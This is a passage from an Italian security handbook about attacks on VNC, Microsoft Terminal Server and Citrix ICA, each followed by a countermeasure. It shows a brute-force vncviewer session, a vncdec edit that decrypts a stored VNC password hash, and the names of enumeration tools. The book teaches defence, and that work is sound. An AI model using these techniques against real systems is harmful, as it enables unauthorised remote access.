Tenuto conto della quantità di caratteristiche e funzionalità fornite da VNC, non c'è da stupirsi se il suo utilizzo comporta serie implicazioni dal punto di vista della sicurezza. In particolare VNC risente del problema di lettura delle password con Revelation. Abbiamo già dimostrato nel Capitolo 5 quanto sia facile installarlo su una macchina Windows NT mediante una connessione di rete remota: è sufficiente installare il servizio VNC dalla riga di comando dopo aver apportato una semplice modifica al Registro di sistema remoto per garantire che il servizio resti invisibile (le versioni a partire dalla 3.3.2 si presentano nella barra delle applicazioni e sono quindi visibili agli utenti interattivi). Ovviamente WinVNC.EXE compare nell'elenco dei processi attivi indipendentemente dal numero di versione o dalla modalità. Ma soprattutto è vulnerabile ai seguenti attacchi.

- Ricerca della password VNC con il metodo "forza bruta". L'utilizzo di password deboli consente a un hacker di ottenere il controllo completo del sistema su cui viene eseguito il server VNC.
- Intercettazione del traffico di rete. Come impostazione predefinita, VNC non utilizza nessun tipo di cifratura del flusso dopo che un utente si è registrato sul server VNC.
- Mascheramento debole delle password WinVNC. WinVNC memorizza la password del server utilizzando un metodo di mascheratura che può consentire a un hacker di risalire al testo in chiaro.

Parleremo di questo tipo di attacchi in seguito.

Ricerca della password VNC con il metodo "forza bruta"

Diffusione:	5
Semplicità:	9
Impatto:	7
Fattore di rischio:	7

Il meccanismo di sicurezza principale che protegge il server VNC da un accesso non autorizzato è rappresentato dalla password scelta dall'amministratore. Come abbiamo già detto diverse volte nel corso di questo libro, l'utilizzo di password de-

boli è una delle vulnerabilità più semplici che possono essere sfruttate da un hacker. Poiché spesso VNC viene eseguito con accesso privilegiato, gli hacker più determinati sarebbero disposti a qualunque cosa pur di ottenere una password del server VNC. A semplificare ulteriormente le cose, per l'hacker, c'è il fatto che nelle attuali implementazioni di VNC vengono sfruttati per l'autenticazione solo i primi otto caratteri della password: questo significa che per forzare la password "password1$^&!" basta digitare semplicemente "password".
Uno dei meccanismi che può essere utilizzato per ricercare la password VNC prevede l'installazione di un aggiornamento sul client VNC `vncviewer`. Questa patch, `rfbproto.c`, è disponibile all'indirizzo Web `http://www.securiteam.com/tools/Brute_forcing_VNC_passwords.html` e deve essere applicata alla distribuzione vnc-3.3.3r1_unixsrc.tgz utilizzando il comando `patch`. Un attacco a forza bruta dei server VNC è banale, come dimostrato dall'esempio seguente:

```
[crush]# vncviewer 192.168.1.101
VNC server supports protocol version 3.3 (viewer 3.3)
Trying password '#!comment:'
VNC authentication failed
Trying password 'Common'
VNC authentication failed
Trying password 'passwords,'
VNC authentication failed
Trying password 'compiled'
VNC authentication failed
Trying password 'passwd'
VNC authentication failed
Trying password 'test'
VNC authentication succeeded
Desktop name "twistervm"
Connected to VNC server, using protocol version 3.3
```

Il client `vncviewer` aggiornato esamina velocemente un elenco di password fornito dall'utente e individua la password "test". Quindi esegue la connessione al server remoto per consentire agli hacker di assumere il controllo completo del sistema. Questo processo di deduzione della password è estremamente veloce e il server VNC non genera alcun messaggio che indichi un tentativo di connessione fallito.

Contromisura alla ricerca della password di un server VNC remoto

Quando si configura il server VNC, è importante scegliere una password di accesso forte. La password dovrebbe essere composta da almeno otto caratteri e non dovrebbe essere una parola del dizionario o una parola derivata dal dizionario. Ricordate che questa password è l'unico meccanismo di difesa del sistema dagli hacker esterni. Quindi, sceglietela con saggezza!

Intercettazione del traffico di rete con VNC

Diffusione:	*2*
Semplicità:	*3*
Impatto:	*7*
Fattore di rischio:	*4*

Se VNC viene installato senza apportare alcuna modifica, dopo l'autenticazione tutto il traffico di rete scambiato tra il client e il server è in chiaro. Anche se è obiettivamente più difficile intercettare questo traffico rispetto a quello di una sessione telnet, poiché i dati viaggiano in formato compresso, non è sicuramente impossibile. Il codice sorgente di VNC è già disponibile e non passerà molto prima che venga sviluppato uno sniffer dedicato per VNC. Pertanto è estremamente rischioso utilizzare sessioni VNC prive di cifratura. Sebbene l'autenticazione della password VNC iniziale preveda un protocollo di tipo challenge/response, tutto il resto del traffico che passa sul cavo non è cifrato. È pertanto plausibile ipotizzare che un hacker possa monitorare le sessioni VNC e intercettare le password di altri sistemi cui l'utente si collega durante l'utilizzo di VNC.

Contromisura all'intercettazione del traffico VNC

Fortunatamente sono disponibili diversi meccanismi che possono essere utilizzati per cifrare il traffico VNC. Tra questi, il principale prevede l'utilizzo del protocollo SSH per realizzare un incapsulamento con cifratura delle sessioni VNC scambiate tra client e server. Per informazioni più dettagliate sull'utilizzo di SSH con VNC, consultate il sito Web all'indirizzo `http://www.uk.research.att.com/vnc/sshvnc.html`. Inoltre, è possibile applicare al codice sorgente VNC alcune patch (`http://web.mit.edu/thouis/vnc/`) per realizzare una connessione più sicura che sfrutta la chiave di cifratura pubblica SSLeay. Potete, inoltre, limitare il numero degli indirizzi IP sorgente che possono connettersi a VNC. Sui sistemi UNIX, per controllare gli indirizzi IP in ingresso è possibile servirsi di wrapper TCP (`http://www.uk.research.att.com/vnc/archives/1998-09/0168.html`), mentre in WinVNC dovrete indicare gli indirizzi IP autorizzati nella chiave `HKEY_LOCAL_MACHINE\Software\ORL\WinVNC3\AuthHosts` del Registro di sistema. Potete trovare ulteriori informazioni sulla configurazione di AuthHosts all'indirizzo Web `http://www.uk.research.att.com/vnc/winvnc.html`.

Mascheramento debole della password WinVNC

Diffusione:	*6*
Semplicità:	*9*
Impatto:	*7*
Fattore di rischio:	*7*

Nell'ottobre del 1999, Conde Vampiro rese di pubblico dominio diverse vulnerabilità relative a VNC (`http://www.securiteam.com/securitynews/3P5QERFQ0Q.html`). La più significativa era quella relativa al metodo utilizzato da VNC per memorizzare la password del server (in particolare nel Registro di sistema di Windows). VNC utilizza 3DES per cifrare la password del server VNC e una chiave fissa (23 82107 6 35 78 88 7) ogniqualvolta la password viene salvata. Anche in questo caso

abbiamo un esempio di utilizzo di un ottimo algoritmo di cifratura (3DES) in un'implementazione debole. Poiché infatti è nota la chiave di cifratura, decifrare la password di un qualsiasi server VNC è un esercizio banale.
La password VNC è memorizzata nella chiave di Registro `HKEY_USERS\.DEFAULT\SOFTWARE\ORL\WinVNC3\Password`. Nel nostro esempio, la porzione dati della chiave è:

```
2F 98 1D C5 48 E0 9E C2
```

È possibile utilizzare un programma come `vncdec` (`http://packetstorm.security.org/Crackers/vncdec.c`) per risalire alla password VNC se è stato manomesso un server su cui viene eseguito VNC (per ulteriori informazioni sulle tecniche di hacking di Windows NT e Windows 2000, si veda il Capitolo 5). Prima di compilare il codice sorgente è necessario apportare delle modifiche in modo che la riga di codice relativa alla password abbia l'aspetto seguente:

```
/* put your password hash here in p[] */
char p[]={0x2F,0x98,0x1D,0xC5,0x48,0xE0,0x9E,0xC2};
```

A questo punto è possibile eseguire il build e lanciare `vncdec`:

```
[shadow]# vncdec
test
```

Come mostrato, siamo stati in grado di risalire alla password in chiaro del server, "test", con pochissimo sforzo.

Contromisura al mascheramento debole della password VNC

Al momento in cui stiamo scrivendo il libro, questa vulnerabilità è ancora presente nella versione corrente di VNC. La migliore difesa consiste nell'impedire che un hacker abbia accesso al Registro di sistema del sistema adottando delle politiche di sicurezza specifiche per i singoli host. Nei Capitoli 5 e 6 viene fornito l'elenco completo delle contromisure che è possibile adottare per rafforzare la sicurezza dei sistemi Windows NT e 2000.

VNC prevede una FAQ che affronta alcuni temi legati alla sicurezza, disponibile all'indirizzo `http://www.uk.research.att.com/vnc/faq.html`.

Microsoft Terminal Server e Citrix ICA

Prima del server Web, ancora prima del file server, esisteva il terminale cosiddetto "stupido". Organizzazioni d'avanguardia hanno investito milioni di dollari in questi sistemi, che elaboravano qualsiasi cosa in modalità locale. Gli utenti vi accedevano tramite semplici terminali a menu, per inserire e recuperare i dati. Oggi una delle migliori attrattive per le grandi organizzazioni è il cosiddetto *thin client*, una soluzione in grado di fornire soluzioni audio, video e l'accesso alle applicazioni di punta senza la necessità di aggiornare continuamente il desktop dell'utente. Certo, il

thin client potrà risolvere questi problemi, tuttavia riporta in auge la buona vecchia tecnica che consiste nell'uscire dalle applicazioni per eseguire i programmi con diritti di accesso più elevati. In NT, come abbiamo visto, ci sono alcuni modi per aumentare i privilegi da utente ad amministratore: queste tecniche consentono solo di lavorare a livello locale su una workstation, mentre è sempre necessario avere i diritti sulla rete per possedere veramente un dominio.
Il Terminal Server ha cambiato tutto questo in un lampo. Oggi un attacco che elevi i privilegi di accesso potrebbe garantire a un hacker il possesso dei dati sui sistemi che contengono informazioni finanziarie, legali o di ricerca. Il terminal server ha causato la proliferazione di tutta una serie di attacchi specifici per le proprie vulnerabilità, che si aggiungono a quelli relativi a Windows 2000, i più critici dei quali interessano l'alterazione dei permessi di accesso. La sicurezza del Terminal Server, se non è implementata perfettamente, può rappresentare l'anello debole. Le aree su cui occorre concentrare la nostra attenzione sono tre: il server, il client e la connessione dati.

Server

Tutti i server Windows 2000 consentono l'amministrazione remota via Terminal Server, che può essere attivata o disattivata tramite l'opzione *Aggiungi/Rimuovi componenti di Windows* del Pannello di controllo. Windows 2000 e NT possono anche fornire i servizi cosiddetti thin client. Per le aziende che richiedono l'accesso al Terminal Server da mondi non Microsoft, è possibile ricorrere al plug-in Citrix Metaframe: in questo paragrafo, se non diversamente segnalato, ci riferiremo alla sua implementazione Microsoft.
Windows XP ha apportato un notevole miglioramento, includendo i servizi terminal nella versione Professional, sotto la voce *Connessione desktop remoto*: sul sito di Microsoft è possibile reperire istruzioni chiare sul processo di configurazione di questo servizio. La semplificazione dell'utilizzo e della configurazione dei servizi terminal ha avuto come conseguenza l'aumento degli attacchi ai Terminal Server, nei contesti di rete Windows XP. In questo capitolo, laddove non diversamente specificato, la trattazione sarà riferita ai servizi offerti da *Connessione desktop remoto* di Windows XP Professional.
La configurazione host è l'area principale per gli attacchi eseguiti localmente, non da remoto. In modalità predefinita, il server è in ascolto sulla porta 3389. Molti processi di scan includono questa porta nell'enumerazione, per cui il fatto di permettere le connessioni al Terminal Server di un sistema particolarmente critico senza altre misure di protezione darà senz'altro origine a problemi di sicurezza. Come vedremo, è piuttosto banale fare in modo che il server rimanga in ascolto su una porta a vostra scelta.

Client

Sono molti i client che possono connettersi a un Terminal Server: essi vanno dagli eseguibili stand-alone a 16 e 32 bit, agli ActiveX via Web, ai plug-in Terminal Server di Microsoft Management Console (MMC). Ogni versione del client, malgrado sia diversa nell'implementazione, esegue di base la negoziazione e la crittografia della connessione nello stesso modo. Le differenze principali riguardano la modifica delle impostazioni lato-client nelle versioni stand-alone, l'impatto potenziale sulla configurazione installata in seguito all'aggiunta di un server Web IIS per consentire l'ac-

cesso utente a un client ActiveX e la possibilità di consentire inavvertitamente l'accesso agli hacker.

Trasmissione dei dati

I dati del Terminal Server sono trasmessi tramite il protocollo Microsoft RDP-5 (*Remote Desktop Protocol*) oppure, nel caso di Citrix, tramite il protocollo ICA. Entrambi i sistemi possono essere configurati per garantire la trasmissione sicura dei dati una volta che siano stati autenticati. I due sistemi presentano vantaggi in termini di prestazioni, ma anche problemi relativi alla sicurezza per quanto riguarda le rispettive tecnologie di trasmissione dati.

Ricerca degli obiettivi

La configurazione predefinita del Terminal Server rimane in ascolto sulla porta TCP 3389. Un hacker può rintracciare questo servizio di ascolto con una semplice operazione di scan sugli indirizzi IP. Sempre che il servizio trovato risieda su un server con un'installazione standard, l'hacker potrebbe eseguire il proprio client di Terminal Server e si vedrebbe apparire la richiesta di login e password. Per contrastare questa possibilità, si possono prevedere alcune contromisure, tendenti a rendere più difficile l'identificazione della porta predefinita. Tuttavia, notate che le stesse contromisure possono essere utilizzate dagli hacker per mascherare installazioni di frodo dei *Servizi terminal* o di *Connessione desktop remoto*: fortunatamente, sono disponibili diversi tool per rilevare la porta sulla quale sono in esecuzione servizi terminal.

TSProbe

Diffusione:	*3*
Semplicità:	*8*
Impatto:	*9*
Fattore di rischio:	*7*

TSProbe, un grandioso piccolo programma di utilità disponibile all'indirizzo `http://www.HammerofGod.com`, esegue l'iterazione all'interno di una sottorete, cercando di aprire un handle di Terminal Server per ogni indirizzo IP. Il trucco in questo caso è che per ricevere un handle l'hacker deve essere autenticato. Se non lo è, otterrà come risposta che non è stato trovato nessun server ("no server found"), anche se il Terminal Server è disponibile. Di norma, soltanto un amministratore o un utente di Terminal Server dispongono di queste credenziali. Questo è un metodo efficace per scannerizzare una sottorete completa alla ricerca di sessioni di Terminal Server in esecuzione all'interno dell'organizzazione, quando si è già accreditati in rete e quando la porta predefinita del servizio è stata modificata. In molti casi un Terminal Server è configurato come "jump box" in un segmento privato critico di LAN, separato dal resto della rete.

TSEnum

Diffusione:	*3*
Semplicità:	*8*
Impatto:	*9*
Fattore di rischio:	*7*

TSEnum, sempre disponibile all'indirizzo `http://www.HammerofGod.com`, è assai più potente di TSProbe e si serve di un metodo di enumerazione differente. In modalità predefinita, un Terminal Server è registrato con il browser Master. TSEnum effettua alcune chiamate API NetServerEnum e richiede i valori di ritorno della struttura Server_Info_101. Anche se la porta del Terminal Server in ascolto è stata modificata, la registrazione viene effettuata regolarmente e ogni Terminal Server di cui il browser è al corrente sarà enumerato e restituito da TSEnum: tutto ciò che occorre è l'accesso alla porta 139. Inoltre, questa tecnica non richiede nessuna autenticazione particolare e funziona anche se il Terminal Server obiettivo ha il valore RestrictAnonymous impostato a 1.

Contromisura all'enumerazione

I soli momenti in cui un Terminal Server dovrebbe risultare accessibile su Internet è quando è espressamente previsto che lo sia e quando i rischi connessi sono stati ben valutati e compresi. Troppo spesso ci è accaduto di lavorare presso clienti il cui gruppo di sicurezza aveva malamente impostato un firewall, permettendoci così di accedere a porte di numerazione elevata. Nel caso del Terminal Server, se il sistema è parte del dominio, in modalità predefinita potrebbe anche fornirci il nome del dominio stesso.

A seconda del caso, dovrebbero essere definite liste di controllo degli accessi (ACL, *Access Control List*) per determinare a quali indirizzi Internet specifici debba essere consentito l'accesso: questo accorgimento può aiutare ad attenuare i rischi, garantendo la cosiddetta "difesa in profondità". La gestione delle liste ACL è altrettanto importante dall'interno, in cui le regole del firewall dovrebbero ridurre gli accessi dall'esterno alla DMZ. In molti casi, le regole per l'accesso dalla LAN verso la DMZ non sono impostate per escludere tutti ("deny all"), e si limitano ad ammettere host specifici per ogni porta. Per ottenere queste ACL potete servirvi dei router locali o dei firewall oppure, se il vostro sistema è basato su Windows 2000 o Windows XP, potete definire i criteri di protezione IP affinché consentano la connessione ai servizi terminal solo a un determinato indirizzo IP.

Il servizio di Terminal Server rimane in ascolto in modalità nascosta, il cosiddetto "stealth mode": una scansione completa di un Terminal Server potrebbe rivelare una porta aperta, ma dovete richiedere una sessione per determinare se il servizio in ascolto è veramente un Terminal Server. Modificando la porta in una diversa, comune per un altro servizio, oppure di numerazione più elevata, potete ridurre l'esposizione ai rischi.

Contromisura per le porte del server terminal

La porta predefinita in ascolto può essere modificata, cambiando il valore da 3389 alla porta desiderata, nella chiave di registro seguente:

```
\HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
Value: PortNumber REG_DWORD=3389
```

La modifica della porta predefinita del server è valida solo in ambienti in cui è attivo il client stand-alone: è comunque richiesta anche la modifica del client, come indicato di seguito.

La connessione di un client a questo servizio su una porta non standard richiede la redirezione della porta o la modifica della porta di destinazione, che possono essere eseguite facilmente sul client stand-alone.

1. Create una connessione per l'indirizzo del vostro Terminal Server.
2. Esportate la connessione in un file .CNS, evidenziando la connessione e selezionando *File/Export*.
3. Editate con il Blocco note il file .CNS, modificando la porta server nel modo preferito.
4. Importate il file .CNS nel manager della connessione client.

Il client ActiveX di Terminal Server è in ascolto sulla porta TCP 3389 e non può essere modificato.

Attacchi a Terminal Server

Terminal Server introduce nuovi rischi e preoccupazioni sia in modalità Amministrativa sia in modalità Application Server. Come si verifica con qualsiasi nuova tecnologia, la sua perfetta comprensione in termini di requisiti utente e di sicurezza può contribuire ad attenuare l'esposizione ai rischi potenziali. Dal momento che un certo grado di esposizione è comunque presente nella rete, oggi la vera sfida consiste nel limitare questa esposizione, pur continuando a fornire servizi validi. La prima area su cui ci soffermeremo è quella degli attacchi lanciati senza privilegi correnti.

Buffer overflow di RegAPI.dll

Diffusione:	*3*
Semplicità:	*5*
Impatto:	*10*
Fattore di rischio:	*6*

Questa vulnerabilità interessava una debolezza di identificazione e di autorizzazione grafica presente nel file MSGINA.dll di Windows NT 4.0: l'inserimento di una stringa lunga nel campo username poteva causare diversi problemi. Se questa operazione era effettuata da remoto, provocava l'interruzione della connessione; se

eseguita localmente, causava il blocco del sistema. Particolarmente pericoloso era il caso in cui veniva fornito un input contenente comandi da eseguire sul sistema come utente SYSTEM.

Contromisura al buffer overflow di RegAPI.dll

Microsoft ha rilasciato la patch MS00-087 nel novembre 2000. Questo aggiornamento elimina questa vulnerabilità modificando il servizio Terminal Server e gestendo i dati correttamente. Ulteriori informazioni su questo argomento sono disponibili all'indirizzo `http://www.microsoft.com/technet/security/bulletin/MS00-087.asp`.

IME Remote root compromise

Diffusione:	*2*
Semplicità:	*2*
Impatto:	*9*
Fattore di rischio:	*4*

Il software è convertito e scritto per diverse lingue nazionali. Uno degli strumenti utilizzato da Microsoft per questa "traduzione" è l'editor IME (*Input Method Editor*), che fa sì che la mappatura di una tastiera standard a 101 tasti possa essere combinata in migliaia di rappresentazioni per lingue come il cinese o il coreano. Sfortunatamente, non veniva eseguita nessuna validazione dell'input e il contesto operativo di IME era SYSTEM. Questo ha permesso un attacco remoto contro i sistemi nella versione cinese e contro quelli in cui al momento dell'installazione erano state installate le estensioni in cinese semplificato.

Contromisura per IME

Microsoft ha rilasciato una nota tecnica (MS00-069) e un aggiornamento per attenuare i rischi nelle versioni interessate; ha inoltre affermato che il problema non si verifica da nessun'altra sede. Ulteriori informazioni su questo argomento sono disponibili all'indirizzo `http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/MS00-069.asp`.

ICA Weak encryption

Diffusione:	*2*
Semplicità:	*3*
Impatto:	*7*
Fattore di rischio:	*4*

Forse il problema più ricorrente che emerge dalla valutazione di qualsiasi rete è l'utilizzo di protocolli in chiaro per la sottoscrizione o la gestione. Nella gran parte dei casi, il protocollo Microsoft RDP mantiene un canale crittografato di tutti i dati importanti: abbiamo comunque scoperto un problema con il canale che trasmette il nome del computer client e delle share di stampa, meglio dettagliato nell'articolo KB Q275727. Nel caso dell'implementazione Citrix, un hacker potrebbe avere

accesso alle informazioni di sottoscrizione, a causa della debolezza nella tecnica utilizzata da Citrix per l'implementazione della crittografia XOR. I pacchetti catturati in seguito potrebbero essere decodificati facilmente ricorrendo all'applicazione icadecrypt, disponibile su Internet.
Per ulteriori informazioni, potete consultare la documentazione all'indirizzo `http://www.securiteam/securitynews/5XQ0H000CK.html`.

Contromisura per ICA

La soluzione migliore consiste nel promuovere la vostra implementazione Citrix, iniziando a utilizzare la sottoscrizione Secure ISA, che si serve di un meccanismo di codifica più robusto, prima di stabilire la sessione di crittografia con il canale ICA.

Attacco per alterazione dei privilegi utente

Diffusione:	*6*
Semplicità:	*5*
Impatto:	*10*
Fattore di rischio:	*7*

Nei precedenti capitoli abbiamo trattato espressamente degli attacchi di alterazione dei privilegi in Microsoft Windows. Come anticipato all'inizio di questo paragrafo, il Terminal Server ha portato questi attacchi a un nuovo grado di potenziale inimmaginabile. È assolutamente necessario verificare la configurazione base del Terminal Server per assicurarsi che i programmi siano eseguiti all'avvio e che siano presenti controlli per limitare il numero e il tipo degli strumenti utilizzabili. Di questo parleremo nel paragrafo successivo, "Considerazioni aggiuntive sulla sicurezza".
Tuttavia, in alcuni casi, gli utenti che accedono tramite Terminal Server anche in modalità Application Server, per i loro compiti aziendali specifici devono essere in grado di caricare software: questa considerazione è valida specialmente nelle configurazioni di sviluppo. Per questo motivo siete aperti agli attacchi locali, come le richieste degli agenti DDE di rete, il fatto di impersonare le cosiddette named pipe e così via, che fanno sì che l'utente ottenga i privilegi di amministratore. Grazie all'interfaccia grafica e ai browser Web è piuttosto facile per un utente caricare questi e altri strumenti che aiutano nell'alterazione di privilegi di sistema. Una volta che l'hacker ha ottenuto i privilegi di amministratore, gli strumenti che ha installato gli possono servire per avere accesso ai sistemi e alle risorse interne riservate.

Contromisura all'attacco ai privilegi dell'utente

È vitale che tutte le patch relative ai buffer overflow locali siano installate sui sistemi Terminal Server che permettono l'accesso di account non privilegiati. Quando implementate soluzioni di tipo Terminal Server, dovete creare un'unità organizzativa (OU, *Organizational Unit*) separata e soprattutto dare per scontato che qualsiasi utente possa conoscere la password di amministratore. Sebbene questa possa sembrare una visione altamente pessimistica di un ottimo strumen-

to come Terminal Server, i veri professionisti della sicurezza devono pensare in questo modo per avere successo contro le "forze oscure": le OU sono parte integrante di Windows 2000 e sono perfettamente idonee per contribuire alla risoluzione di questi problemi.
Dovete verificare le password di ogni sistema e implementare controlli per assicurarvi che la loro composizione sia conforme o migliore rispetto ai criteri previsti dalle politiche aziendali, allo scopo di impedire il rischio che possano essere semplicemente indovinate, forzate o lasciate alla pigrizia dell'utente. Occorre anche implementare restrizioni sugli accessi IP ricorrendo alle liste ACL a fronte di applicazioni, router e/o firewall: se possibile, sarebbe opportuno specificare gli indirizzi IP di provenienza e di destinazione. I sistemi attivi in modalità Application Server richiedono una sicurezza più specifica, che può essere parzialmente risolta con il kit di utilità Appsec, di cui parleremo nel prosieguo del capitolo.

Attacco di tipo buffer overflow a un controllo ActiveX di un client Web

Diffusione:	*2*
Semplicità:	*3*
Impatto:	*7*
Fattore di rischio:	*4*

Per semplificare l'accesso ai servizi terminal, Microsoft ha fornito ai Terminal Server dotati di IIS il controllo ActiveX TSAC (*Terminal Services Access Control*), che mette a disposizione i servizi terminal sulla directory `/tsweb` del sito Web di default del sistema.
Si noti che questo controllo non viene installato di default, e che alcune sue versioni, distribuite con Windows 2000 Terminal Server, contengono un buffer non soggetto a controllo, quindi utilizzabile per l'esecuzione di codice sul client dei servizi terminal. Questa vulnerabilità non ha particolari effetti sulla macchina che ospita il Terminal Server, fino a che il controllo ActiveX TSAC non viene utilizzato dal server per accedere ad altri Terminal Server. Tutti i client che possiedono una versione non aggiornata di tale controllo sono esposti a questo tipo di attacco. Per dettagli tecnici su questa vulnerabilità consultate il Security Bulletin MS02-046, sul sito di Microsoft `http://www.microsoft.com`.

Contromisure all'attacco di tipo buffer overflow a un controllo ActiveX di un client Web

A meno che non abbiate una buona ragione di lavoro, disabilitate i servizi terminal del vostro sistema. Come abbiamo appena visto, il controllo ActiveX TSAC è in costante comunicazione con la porta 3389, quindi l'unico vantaggio dell'accesso Web tramite servizi terminal è che il client non necessita dell'installazione di un client di servizi terminal autonomo. Anziché fornire il controllo ActiveX TSAC, è consigliabile che il server offra al client un link dal quale scaricare un buon gestore di servizi.
Se proprio non potete fare a meno del controllo ActiveX TSAC, assicuratevi di fornire al client la sua versione più aggiornata. Alla pagina Web `http://www.micro-`

`soft.com/windowsxp/pro/downloads/rdwebconn.asp` troverete spiegato come implementare la versione di *Connessione desktop remoto* non vulnerabile a questo attacco.

Annullamento dei criteri di protezione di gruppo

Diffusione:	*3*
Semplicità:	*9*
Impatto:	*4*
Fattore di rischio:	*5*

Un modo per limitare il numero di applicazioni alle quali un utente di un Terminal Server può accedere, contenendo così l'esposizione del server agli attacchi, consiste nell'applicare un criterio di protezione di gruppo a tutti gli utenti autorizzati ad accedere al Terminal Server. Per esempio, un amministratore di sistema può definire un criterio di protezione che consenta a un utente di accedere solo a Internet Explorer.

Se sono in uso i servizi di Active Directory i criteri di protezione di gruppo si troveranno memorizzati nella risorsa condivisa `sysvol` del server d'accesso, che in alcuni casi può essere soggetta a ulteriori restrizioni alla connessione dovute alla gestione delle licenze: ogni accesso ai servizi terminal richiederà una connessione alla risorsa `sysvol`. Nel momento in cui viene richiesta una nuova connessione al server, ma non sono più disponibili connessioni alla risorsa `sysvol`, non ci sarà possibilità di verificare il criterio di protezione di gruppo, perciò il client potrà eseguire tutte le applicazioni disponibili sul server.

Contromisure all'annullamento dei criteri di protezione di gruppo

Le restrizioni dovute alla gestione delle licenze rispondono a precise specifiche progettuali della rete e sono pensate per garantire all'amministratore che l'accesso da parte del client risponda fedelmente ai requisiti stabiliti dalla licenza di accesso al server, ma complicano la risoluzione di questa vulnerabilità. Assicuratevi che il server sul quale si trova la risorsa condivisa `sysvol` (normalmente il controller di Active Directory) supporti un numero di licenze tale da garantire sempre l'accesso a tale cartella. Potreste anche pensare di disabilitare, su questo server, il servizio di verifica delle licenze, se siete sicuri di essere a posto con le vostre licenze software.

Come verrà precisato nel prossimo paragrafo, l'utility Appsec per la gestione delle risorse può essere utile per limitare il numero delle applicazioni eseguibili durante una sessione di servizi terminal, al posto dei criteri di protezione di gruppo.

Considerazioni aggiuntive sulla sicurezza

Oltre alle contromisure che abbiamo visto finora, esistono altri strumenti che permettono di irrobustire ulteriormente il vostro ambiente. I paragrafi che seguono descrivono i programmi di utilità che dovreste tenere in considerazione quando nella vostra organizzazione è attivo Terminal Server.

Appsec.exe

Appsec consente di stabilire in modo inderogabile quali applicazioni possono essere eseguite nel contesto della modalità Terminal Server, con il massimo livello di precisione. Questa funzionalità è estremamente importante per impedire gli attacchi di alterazione dei privilegi. Gli amministratori possono aggiungere applicazioni specifiche che saranno eseguite, nonché tenere traccia di ciò che viene chiamato ed eseguito, nell'ottica di assicurare agli utenti finali la possibilità di svolgere i loro compiti. Questo è un programma di utilità che dovrebbe essere alla base di qualsiasi configurazione di application server.

Tuttavia, ci sono delle considerazioni da fare. In primo luogo, se gli utenti possono modificare l'applicazione, possono anche ignorare i controlli che avete istituito. Non è previsto nessun algoritmo o hash efficace per il controllo dell'integrità dei programmi. La seconda considerazione riguarda le possibilità offerte dall'applicazione in esecuzione. Se si tratta per esempio di un'applicazione Office che prevede la possibilità di eseguire macro, tali macro saranno eseguite in un contesto di utente o di SYSTEM, il che potrebbe portare al completo danneggiamento dell'host.

Tsver.exe

Tsver.exe permette agli amministratori di impedire l'accesso al Terminal Server da parte di identificativi di versioni distribuite (i cosiddetti build) non autorizzati. Le connessioni effettuate da build non autorizzati sono interrotte ed è possibile personalizzare i messaggi di notifica dell'evento all'utente remoto: messaggi "creativi" potrebbero informare che la licenza del Terminal Server è scaduta, oppure che il server non è stato configurato per login remoti.

Volendo esagerare, con alcune modifiche ai client locali potete creare build "impossibili" che solo voi potete distribuire: questa caratteristica è ottima nel caso siate amministratori di un piccolo numero di server e vogliate impedire che gli utenti interni si connettano. Un altro beneficio di Tsver è che quando si attiva il programma in modalità predefinita c'è la possibilità di avere il nome e l'indirizzo IP dell'host hacker registrato in log.

Esattamente come la tecnologia, anche la complessità degli attacchi avanza. Il Terminal Server è un grande strumento, ma rappresenta anche un componente critico per la sicurezza della vostra rete, in caso di implementazioni povere o di utenti poco scrupolosi. Ricordate che ogni computer è in un certo modo come un'automobile: se non lo si sottopone alla manutenzione corretta, darà dei problemi.

Risorse

La tabella seguente elenca le diverse risorse occorrenti per comprendere a fondo i problemi di sicurezza relativi al Terminal Server.

Risorsa	Disponibilità
Note tecniche aziendali, bollettini e aggiornamenti Microsoft	
"Simplified Chinese IME State Recognition"	`http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/MS00-069.asp`
"RDP 5.0 DoS vulnerability"	`http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/MS01-006.asp`
"Named Pipe Impersonation" (privilege escalation)	`http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/MS00-053.asp`
"Network DDE Agent Requests" (privilege escalation)	`http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/MS01-007.asp`
"Share Level Security and Terminal Server"	`http://support.microsoft.com/support/kb/articles/Q260/8/53.ASP`
"RegAPI.DLL Buffer Overflow"	`http://download.microsoft.com/download/winntterminal/Patch/q277910/NT4/EN-US/Q277910i.EXE`
Liste di controllo e strumenti Microsoft	
Terminal Server Deployment	`http://www.microsoft.com/technet/treeview/default.asp?url=/Technet/prodtechnol/windows2000serv/reskit/deploy/part4/chapt-16.asp`
Configurazione di sicurezza in Terminal Server	`http://support.microsoft.com/support/kb/articles/Q260/8/53.ASP`
Strumenti Microsoft	
Appsec.exe	Windows 2000 Resource Kit (`ftp://ftp.microsoft.com/bussys/winnt/winnt-public/reskit/`)
Tsreg.exe	Windows 2000 Resource Kit (`ftp://ftp.microsoft.com/bussys/winnt/winnt-public/reskit/`)
Tsver.exe	Windows 2000 Resource Kit (`ftp://ftp.microsoft.com/bussys/winnt/winnt-public/reskit/`)
Strumenti freeware	
TSProbe.exe	`www.HammerofGod.com`
TSEnum.exe	`www.HammerofGod.com`

Capitolo 14

Tecniche avanzate

Abbiamo percorso parecchia strada per arrivare a questo capitolo. Ma per quanto ci siamo sforzati di mantenere un'organizzazione coerente nella presentazione delle tecniche e dei tool più diffusi tra gli hacker, restano alcuni elementi che sfuggono a qualsiasi classificazione adottata finora. Molti di questi attacchi sono illustrati in questo capitolo dedicato alle tecniche avanzate. A grandi linee li possiamo suddividere nelle parti seguenti: dirottamento di sessioni, backdoor, trojan, crittografia, sovvertimento dell'ambiente di sistema e ingegneria sociale.
Abbiamo incluso sotto queste voci anche materiale già proposto in altri capitoli, laddove ci è sembrato importante riproporlo. Ne è risultata una raccolta piuttosto esauriente di informazioni su questi argomenti, trasversale rispetto alle categorie di software, ai tipi di piattaforma e alle tecnologie. In fin dei conti, gli hacker fanno raramente distinzioni di questo tipo quando si tratta di selezionare un bersaglio.

Dirottamento di sessioni

